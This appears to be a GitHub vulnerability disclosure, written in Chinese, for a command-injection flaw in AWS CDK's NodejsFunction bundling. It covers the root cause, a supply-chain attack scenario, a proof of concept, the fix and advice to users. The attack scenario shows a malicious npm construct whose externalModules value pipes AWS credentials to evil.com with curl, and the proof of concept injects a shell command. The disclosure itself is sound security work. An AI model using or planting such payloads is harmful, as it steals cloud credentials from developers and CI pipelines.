HeshamASH/CVE-2026-11417-AWS-CDK-RCE

GitHub: HeshamASH/CVE-2026-11417-AWS-CDK-RCE

该项目披露了 AWS CDK 的 NodejsFunction 中由于未清理用户输入导致的供应链命令注入漏洞的完整技术细节与 PoC。

Stars: 0 | Forks: 0

# AWS CDK 的 NodejsFunction 中的供应链命令注入 (CVE-2026-11417) **作者:** Hesham Ashraf ([@HeshamASH](https://github.com/HeshamASH)) **日期:** 2026 年 6 月 10 日 **严重性:** 高 (CVSSv3.1: 7.3, CVSSv4: 7.0) **CWE:** CWE-78 — 操作系统命令中使用的特殊元素处理不当 (OS 命令注入) **受影响的包:** `aws-cdk-lib` (npm),2.245.0 之前的所有版本 **供应商:** Amazon Web Services (AWS) **状态:** 已修补 ([PR #37292](https://github.com/aws/aws-cdk/pull/37292), [PR #37412](https://github.com/aws/aws-cdk/pull/37412)) | **公告:** [AWS-2026-041](https://aws.amazon.com/security/security-bulletins/2026-041-aws/) | **安全通报:** [GHSA-999r-qq7v-r334](https://github.com/aws/aws-cdk/security/advisories/GHSA-999r-qq7v-r334) ## TL;DR 我在 AWS Cloud Development Kit (CDK) 中发现了一个命令注入漏洞,该漏洞允许攻击者通过发布恶意的 npm 包或提交精心构造的 Pull Request,**在运行 `cdk synth` 的任何机器上实现远程代码执行 (RCE)** —— 包括开发者工作站和 CI/CD pipeline。 该漏洞的存在是因为 `aws-cdk-lib` 的 `NodejsFunction` construct 将用户控制的字符串直接插入到 shell 命令中而没有进行清理,然后通过 `bash -c` / `cmd /c` 执行它。AWS 通过用直接的 `spawnSync` 参数数组替换基于 shell 的执行修复了该问题。 ## 背景 [AWS Cloud Development Kit (CDK)](https://github.com/aws/aws-cdk) 是一个广泛使用的开源框架,用于将云基础设施定义为代码 (infrastructure as code)。数以万计的开发者和 CI/CD pipeline 使用它来合成和部署 AWS CloudFormation stack。 [`NodejsFunction`](https://docs.aws.amazon.com/cdk/api/v2/docs/aws-cdk-lib.aws_lambda_nodejs.NodejsFunction.html) construct 是最受欢迎的 CDK L2 construct 之一。它在合成阶段 (`cdk synth`) 期间使用 [esbuild](https://esbuild.github.io/) 打包 TypeScript/JavaScript Lambda 函数。 ## 漏洞详情 ### 根本原因 `NodejsFunction` construct 的本地打包路径通过直接插入几个用户控制的属性来构建 shell 命令字符串,而没有进行任何清理: ``` // packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch) const esbuildCommand: string[] = [ options.esbuildRunner, '--bundle', `"${relativeEntryPath}"`, `--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`, '--platform=node', ...this.externals.map(external => `--external:${external}`), // NO ESCAPING ...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // NO ESCAPING ...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NOT ESCAPED ...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // NO ESCAPING ...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // NO ESCAPING ]; ``` 然后该数组被拼接成一个单独的字符串并传递给 shell: ``` // The joined command is passed directly to the OS shell exec( osPlatform === 'win32' ? 'cmd' : 'bash', [osPlatform === 'win32' ? '/c' : '-c', localCommand], { /* ... */ } ); ``` 任何可注入属性中的 shell 元字符(如 `&`、`;`、`|`、`` ` `` 和 `$(...)`)都会被 shell 解释为命令分隔符,从而允许执行任意命令。 ### 受影响的属性 | 属性 | 清理 | 风险等级 | |---|---|---| | `externalModules` | **无** | 严重 | | `define` (键) | **无** (值使用 `JSON.stringify`) | 严重 | | `loader` (键) | **无** | 严重 | | `inject` | **无** | 严重 | | `esbuildArgs` (键/值) | **无** | 严重 | ## 供应链攻击场景 该漏洞极其危险,因为注入发生在 **CDK 合成层**,而不是在 `npm install` 期间。这意味着像 `--ignore-scripts` 这样的标准 npm 安全措施无法提供保护。 ### 攻击媒介:恶意 CDK Construct 攻击者发布一个看似正常的、封装了 `NodejsFunction` 的 npm 包: ``` // Published as "convenient-lambda" on npm import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs'; export class ConvenientLambda extends NodejsFunction { constructor(scope, id, props) { super(scope, id, { ...props, bundling: { ...props.bundling, externalModules: [ ...(props.bundling?.externalModules ?? []), // Hidden payload among legitimate-looking externals 'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)', ], }, }); } } ``` 当开发者安装此包并运行 `cdk synth` 时,CDK 会构造以下内容: ``` npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64) ``` `&` 字符将其拆分为两个独立的 shell 命令: 1. `npx esbuild --bundle handler.ts --external:lodash` — esbuild 正常运行 2. `curl https://evil.com/...` — **攻击者的 payload 会窃取 AWS 凭证** ### 为什么这能绕过标准防御 | 防御手段 | 是否有效? | 原因 | |---|---|---| | `npm install --ignore-scripts` | 否 | 注入发生在 `cdk synth` 期间,而不是包安装期间 | | 审查 `package.json` 代码 | 否 | Payload 位于 TypeScript construct 代码中,而不是 scripts 中 | | npm audit | 否 | 该包不包含已知的漏洞 | | Lockfile 完整性 | 否 | 包本身已被正确安装 | ## 概念验证 (PoC) ### 第一步:创建一个 CDK 项目 ``` mkdir poc && cd poc npm init -y npm install aws-cdk-lib constructs esbuild typescript mkdir lambda echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts ``` ### 第二步:创建包含注入 payload 的 `app.ts` ``` import * as cdk from 'aws-cdk-lib'; import { Stack } from 'aws-cdk-lib'; import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs'; import { Runtime } from 'aws-cdk-lib/aws-lambda'; import * as path from 'path'; class PoCStack extends Stack { constructor(scope, id) { super(scope, id); new NodejsFunction(this, 'Fn', { entry: path.join(__dirname, 'lambda', 'handler.ts'), runtime: Runtime.NODEJS_20_X, bundling: { externalModules: ['foo & echo PWNED > pwned.txt'], }, }); } } const app = new cdk.App(); new PoCStack(app, 'PoCStack'); app.synth(); ``` ### 第三步:触发 ``` npx ts-node app.ts ``` ### 第四步:验证 RCE ``` cat pwned.txt # 输出:PWNED ``` 文件 `pwned.txt` 已创建,确认在宿主机上执行了任意命令。 ## 修复方案 ### PR #37292:基于数组的 `spawnSync` 核心修复方案将 shell 命令字符串的构造替换为使用参数数组进行直接的 `spawnSync`: ``` - // Before: shell-interpreted command string - exec('bash', ['-c', esbuildCommand.join(' ')]); + // After: direct argument array (no shell interpretation) + spawnSync(command, args, { /* no shell */ }); ``` 这彻底消除了对 shell 元字符的解释。新的 `BundlingStep` 类型系统清晰地分开了: - **`spawn` 步骤**:esbuild/tsc/install — 通过带有参数数组的直接 `spawnSync` 执行 - **`shell` 步骤**:用户提供的 `commandHooks` — 特意通过 shell 执行(根据约定,用户控制这些) - **`fs` 步骤**:文件操作 — 不涉及 shell ### PR #37412:Windows PowerShell 转义 在 Node 22+ 的 Windows 环境下,直接对 `.cmd` shim 使用 `spawnSync` 会因 `EINVAL` 失败。此 PR 通过 `powershell.exe` 路由 spawn 步骤,并使用 `powershellEscape()` —— 该函数利用 PowerShell 的原生转义(将内部的单引号翻倍)严格地用单引号将每个参数括起来,然后前置 `&` 调用运算符。 ## 经验教训 1. **Shell 执行是一种代码异味 (code smell)。** 任何构建字符串并将其传递给 `bash -c` 或 `cmd /c` 的代码路径都存在潜在的命令注入漏洞。始终优先选择基于数组的 `spawnSync` 或 `execFile`。 2. **供应链攻击会绕过安装时的防御。** `npm audit` 和 `--ignore-scripts` 可以防范恶意的 `postinstall` 脚本,但无法防范在构建时处理依赖项的*工具*中的漏洞。 3. **CDK construct 是受信任的代码。** 当开发者引入第三方 CDK construct 时,他们隐式地信任它能正确配置其基础设施。恶意 construct 可以利用这种信任,将 payload 注入到看起来像普通配置的打包属性中。 ## 对 CDK 用户的建议 1. **立即更新**至 `aws-cdk-lib` 2.245.0 或更高版本 2. **审计第三方 CDK construct** 中是否存在异常的 `bundling` 属性值 3. 在您的 `package-lock.json` 中**固定 CDK construct 版本** 4. **格外严格地审查修改 `bundling` 配置的 PR** 5. 使用 [poc/](./poc) 文件夹中提供的文件**重现该漏洞**。 *由 Hesham Ashraf ([@HeshamASH](https://github.com/HeshamASH)) 发现并报告。通过 AWS VDP 计划进行了协调披露。*
标签:AWS CDK, MITM代理, PoC, 命令注入, 暗色界面, 暴力破解, 漏洞分析, 编程工具, 自动化攻击, 路径探测, 远程代码执行